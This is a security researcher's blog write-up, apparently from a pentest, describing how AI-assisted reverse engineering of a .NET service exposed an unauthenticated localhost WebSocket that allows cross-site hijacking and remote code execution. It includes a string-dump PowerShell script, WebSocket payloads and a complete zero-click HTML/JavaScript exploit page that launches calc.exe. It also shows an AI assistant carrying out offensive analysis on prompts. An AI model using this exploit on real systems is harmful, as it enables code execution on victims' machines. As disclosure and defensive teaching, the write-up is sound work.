My First RCE by Reverse Engineering an EXE File With the Help of AI

I've been hacking for 20 years. I know many attack vectors, patterns, and tricks, but honestly speaking, my mind does not know binaries. In terms of reverse engineering, my closest experience is with Android dynamic analysis, which I'm not bad at. Some time ago, I came across an EXE file in a penetration testing project and gave it a try with the help of AI. By the end of the day, I achieved RCE. Today, I'm writing to describe the path of finding and exploiting the vulnerability and the role of AI here.

I accepted a penetration testing project involving a web application that looked outdated. I thought it would be easy and expected to find critical issues at first glance. However, the more I worked, the harder it became. It actually had an encryption layer on top of the SSL connection, handled by JavaScript, encrypting the entire query string client-side and decrypting and parsing it server-side. When I talk about patterns, this seemed like a likely vulnerable one, so I was optimistic about finding something, but surprisingly, I couldn't!

The vague values are the best place to start probing because automated scanners are not able to discover flaws in them. So, I began modifying the encrypted string, injecting values for SQLi or adding extra ampersands to trick the parser into encountering an error or gaining unauthorized access, but all tests failed, and the web application seemed to be robust.

The Charm of JS Files

When you're stuck in hunting, just go after JavaScript files to discover new attack surfaces. If you can't find anything interesting in JS files, try to locate new JavaScript files by fuzzing, searching through the Net or archive websites, etc (I'm not going to expand on it here). Digging JS files brought me to this eye-catching section:

function downSetup(type) {
    $.download('/lm/downSetup.htm', 'down=' + type);
}

I sent an HTTP request to the path, but it returned a 404 status code. Initially, I assumed the HTML file was missing, but the web application's behavior raised my suspicions. The login endpoint also used an .htm extension and would return a 404 error without the correct referrer. This suggests that .htm extensions are linked to dynamic files on the server side. So I started fuzzing the dl parameter (I also tested it in several ways, such as ../, ....//, %2e%2e/, etc):

help     [Status: 200, Size: 131, ...
backup   [Status: 200, Size: 131, ...
app      [Status: 200, Size: 131, ...
service  [Status: 200, Size: 1151264, ...
ie       [Status: 200, Size: 131, ...
win      [Status: 200, Size: 131, ...

Yes! I discovered the correct parameter, which triggered a download dialog, allowing me to download an exe file. And that's where the main story began!

Analysis of the EXE File

In the days before AI, I would have run the EXE file and intercepted the traffic, hoping to find an exposed endpoint to exploit. But now, with the help of AI, I installed the application and tasked the AI with analyzing it. Instead of using a single prompt like "go hack it," which wouldn't be effective, I broke down the task into smaller, manageable parts. Large prompts aren't effective; you need to guide the AI carefully. So, I began with:

• Analyze redacted.exe, tell me what the binary is (language, framework, dependencies, signing info). The extracted redacted.exe is a .NET assembly, confirmed by the presence of a CLR header and .NET metadata streams (#~, #Strings, #US, #GUID, #Blob). The assembly references Newtonsoft.Json, WebSocketSharp, and has Costura-embedded DLLs (dependencies packed inside the binary).
• Dump all hardcoded strings from redacted.exe. Group them by category: URLs, file paths, registry paths, crypto-looking strings, command/protocol keywords, error messages. The result was a ps1 file that was able to extract all strings from the binary:

$asm = [System.Reflection.Assembly]::LoadFile("redacted.exe")
$module = $asm.GetModules()[0]
$offset = 0
while ($offset -lt 0x2000) {
    try {
        $token = 0x70000000 -bor $offset
        $str = $module.ResolveString($token)
        if ($str -and $str.Length -gt 2) {
            Write-Output "US[0x$($offset.ToString('x'))]: $str"
        }
    } catch {}
    $offset += 2
}

This single dump revealed dozens of strings. Most were straightforward (URLs, file paths, error messages), but a few didn't fit any obvious category:

US[0x0d54]: ehdgoanfrhkq1234
US[0x0d76]: OfficeHDWebHard!
US[0x1060]: SOFTWARE\JiranSecurity\OfficeHARD REDService
US[0x10c0]: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
US[0x185f]: explorer.exe "{0}"

AI analysis:

The registry paths and explorer.exe format string are self-explanatory. The first two strings are not. They stand out because both are exactly 16 bytes, sit at adjacent heap offsets, and don't look like natural language or identifiers. They smell like cryptographic material, but at this stage we don't know what they are.

Look at how beautifully it analyzed it; truly fascinating to me. I also used the following prompts (of course, I don't know binary, but I do understand how encryption algorithms function):

• Disassemble the binary, find the encryption class. I need: which string is the key, which is the IV, what mode (ECB/CBC), what padding, and how key derivation works.
• Download all .ini.enc files from the server (use the URL pattern from the string dump and application names). Decrypt them using any method you know. You may need to try multiple methods; do not give up until you obtain plaintext.
• Build a full URL inventory: every unauthenticated resource on the server (installers, configs, update binaries). Table format with URL, size, auth required, how it was discovered.

At this stage AI did a lot of analysis I'm not putting here, because the target would be revealed. Eventually it reached: standard crypto libraries (Python cryptography, OpenSSL) failed to produce correct output because the binary uses a custom implementation with a non-standard key schedule. The solution was to skip reimplementation entirely and invoke the binary's own decryption method via PowerShell reflection.

It wrote a PowerShell script to invoke the decryption method inside the binary, similar to hooking a method (is it actually hooking?) in Android classes. This part made me excited; look at how AIs are growing, they are turning into monsters. I could decrypt files; here is one as an example:

[REDSERVICE_UPDATE]
FILENAME=red_service_update.exe
PATH=control/app/redservice
VERSION=2.7.1.6
HASH=A4F19C7E2B8D63F0C1E5A9B472D8F36C

Can you guess the workflow? It's simple without any code or analysis.

The application calls update endpoints and retrieves decrypted content. It then decrypts the previous section's result and checks the software version. If an update is needed, it downloads the executable and updates itself. The reverse engineering exposed the full update infrastructure and encryption, but none of that is directly exploitable from a browser. Furthermore, one major question remains: how does the application interact with its server? I got the answer with the following prompt:

• Perform reverse engineering to determine how the application connects to its server. If it uses HTTP, map all endpoints along with their corresponding parameters. If it uses a different protocol, follow the same pattern. Do not stop until you have a complete map.

The outcome was surprising :)

Cross-Site WebSocket Hijacking (CSWSH)

From AI: redacted.exe installs as a Windows service and starts a WebSocket server on ws://127.0.0.1:3100. The server has zero origin validation. The WebSocketBehavior class does not check the Origin header of incoming connections. Any webpage, from any domain, can connect and send commands. This is Cross-Site WebSocket Hijacking (CSWSH).

AI provided me with detailed instructions on WebSocket methods and data, so I began interacting with it. But hold on, does the site actually communicate with the service via WebSocket? I quickly searched through the JS files and confirmed it:

function checkSession() {
    var ws = new WebSocket('ws://127.0.0.1:XXXX');

    ws.onopen = function () {
        $.post('/api/v1/session/validate', {
            "k": tokenKey
        }, function (res) {
            if (res.status === "OK") {
                let payload = {
                    'action': 'EXECUTE',
                    'data': "/AUTH:$" + decryptData(res.payload, tokenKey)
                };

                ws.send(JSON.stringify(payload));
            }
        }, 'json');
    };
}

If the application does not check the origin of the initiator, anybody can force a user to establish a WebSocket connection and has full control over it. So I opened my website and used the following code to check whether it's possible or not:

var ws = new WebSocket('ws://127.0.0.1:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({ GET: 'VERSION' }));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

I got the answer:

{
    "VERSION": "2.7.1.6"
}

So Cross-Site WebSocket Hijacking (CSWSH) is confirmed, but I still needed a gadget to exploit this vulnerability.

The RCE Gadget

From the WebSocket methods, this one was interesting to me:

var ws = new WebSocket('ws://127.0.0.1:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'AUTH', PARAM: '/SSO:$token'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

The application receives $token, but how is it going to validate it? It requires a network connection to its server. So again, I asked AI to determine how it works after the WebSocket is sent to it. Here is the interesting part:

the binary takes a PARAM value and passes it to a launched process

The binary takes a PARAM value and passes it to a launched process. But no shell, no injection. StartProcessAsCurrentUser calls CreateProcessAsUser from advapi32.dll directly:

// StartProcessAsCurrentUser - IL disassembly
ldstr    "advapi32.dll"
ldstr    "CreateProcessAsUser"
// Sets up STARTUPINFO and PROCESS_INFORMATION structs
// Calls CreateProcessAsUser with the formatted command string

CreateProcessAsUser is NOT cmd.exe /c. Shell metacharacters (&&, ||, |, ;, $()) are treated as literal characters:

{RUN: 'AUTH', PARAM: '/SSO:123 && calc'}
// Result: REDACTED.exe receives literal argument "/SSO:123 && calc"
// The "&&" is NOT interpreted. calc does NOT launch.

I asked it to write a simple EXE to save arguments into a file, then replace it in the registry instead of the legit EXE. That way I could see how my input was treated, so I could fuzz it:

Command line: "C:\...\fakered.exe" /SSO:123 && calc
Args: /SSO:123 && calc

The Final Shot

I arrived at this point without encountering any bugs. I intentionally wrote this because most write-ups, including mine, focus on success stories, but it's crucial to learn from failures. The key takeaway is that I didn't give up while exploring all methods. At this stage, I went back to check a method again, which I'd got the FAIL response from before:

var ws = new WebSocket('ws://127.0.0.1:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'APP', URL: 'https://attacker.com'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

Initially, I thought it might have a whitelist, but I wanted to ensure my assumption was aligned. Surprisingly, the agent provided more WebSocket methods that I hadn't seen yet. What? I asked why it hadn't given me those before, and it replied:

You're right. I gave you {RUN: 'APP', URL: '...'} which always returns FAIL. I should have tested all the app name variants from the binary strings: REDACTED1, REDACTED2, REDACTED3, REDACTED4. When the app isn't installed, the code falls through to explorer.exe "{URL}" which is the actual RCE vector.

So I got several more methods, one of them was:

var ws = new WebSocket('ws://127.0.0.1:3100');
ws.onopen = function() {
    ws.send(JSON.stringify({RUN: 'DRIVE', URL: 'https://redacted.com'}));
};
ws.onmessage = function(e) {
    console.log(e.data);
    ws.close();
};

I executed the JS code, and the browser was opened with that URL. We reached the easiest part, instant RCE:

{RUN: 'DRIVE', URL: 'calc.exe'}

Attack Scenario

The exploitation code is straightforward: a connection to ws://127.0.0.1:3100 and sending a method to it.

<html>
<head>
    <title>RCE Demo</title>
</head>
<body>
    <h1>RCE Demo</h1>
    <script>
        function rce(url) {
            var ws = new WebSocket('ws://127.0.0.1:3100');
            ws.onopen = function() {
                ws.send(JSON.stringify({RUN: 'DRIVE', URL: url}));
            };
            ws.onmessage = function(e) {
                document.getElementById('log').innerHTML += url + ' -> ' + JSON.parse(e.data).RESULT + '<br>';
                ws.close();
            };
            ws.onerror = function() {
                document.getElementById('log').innerHTML += 'Service not running<br>';
            };
        }
        rce('calc.exe');
    </script>
    <div id="log" style="font-family:monospace;margin-top:20px;"></div>
</body>
</html>

Attack flow:

1. Victim has REDACTED installed (standard for redacted.com users).
2. Victim visits any webpage controlled by the attacker.
3. JavaScript connects to ws://127.0.0.1:3100 (no origin check, no authentication).
4. Sends {RUN: 'DRIVE', URL: 'calc.exe'}.
5. REDACTED checks if the app is installed. It is not.
6. Falls through to explorer.exe "calc.exe".

Zero clicks. Zero user interaction. The WebSocket connection and command execution happen automatically when the page loads.

Wrap-up

This class of bug isn't new. Tavis Ormandy reported the same pattern in Electrum back in 2018, a localhost JSON-RPC server with no origin check, where any visited website could scan for the port and drain wallets. The shape is identical to what we have here; only the gadget changed, from payto to explorer.exe. Eight years on, the same anti-pattern still ships in production binaries: a localhost service that trusts every caller because "it's only listening on 127.0.0.1," next to a powerful API that doesn't ask who's on the other end. If you ship one of these, validate the Origin header, or require a per-instance token in the URL, or do both.

The other thing worth saying is about AI. AI didn't find this bug; I did, by knowing what to look for and where this class lives. But it shortened every step in between: strings dump, IL disassembly, encryption-key recovery, WebSocket method enumeration. Two years ago I would have given up at the EXE download, or run it dynamically and missed the gadget entirely. The skill that still matters is the same one it always was, knowing the patterns and not giving up when the obvious method returns FAIL. What's changed is the cost of acting on that knowledge.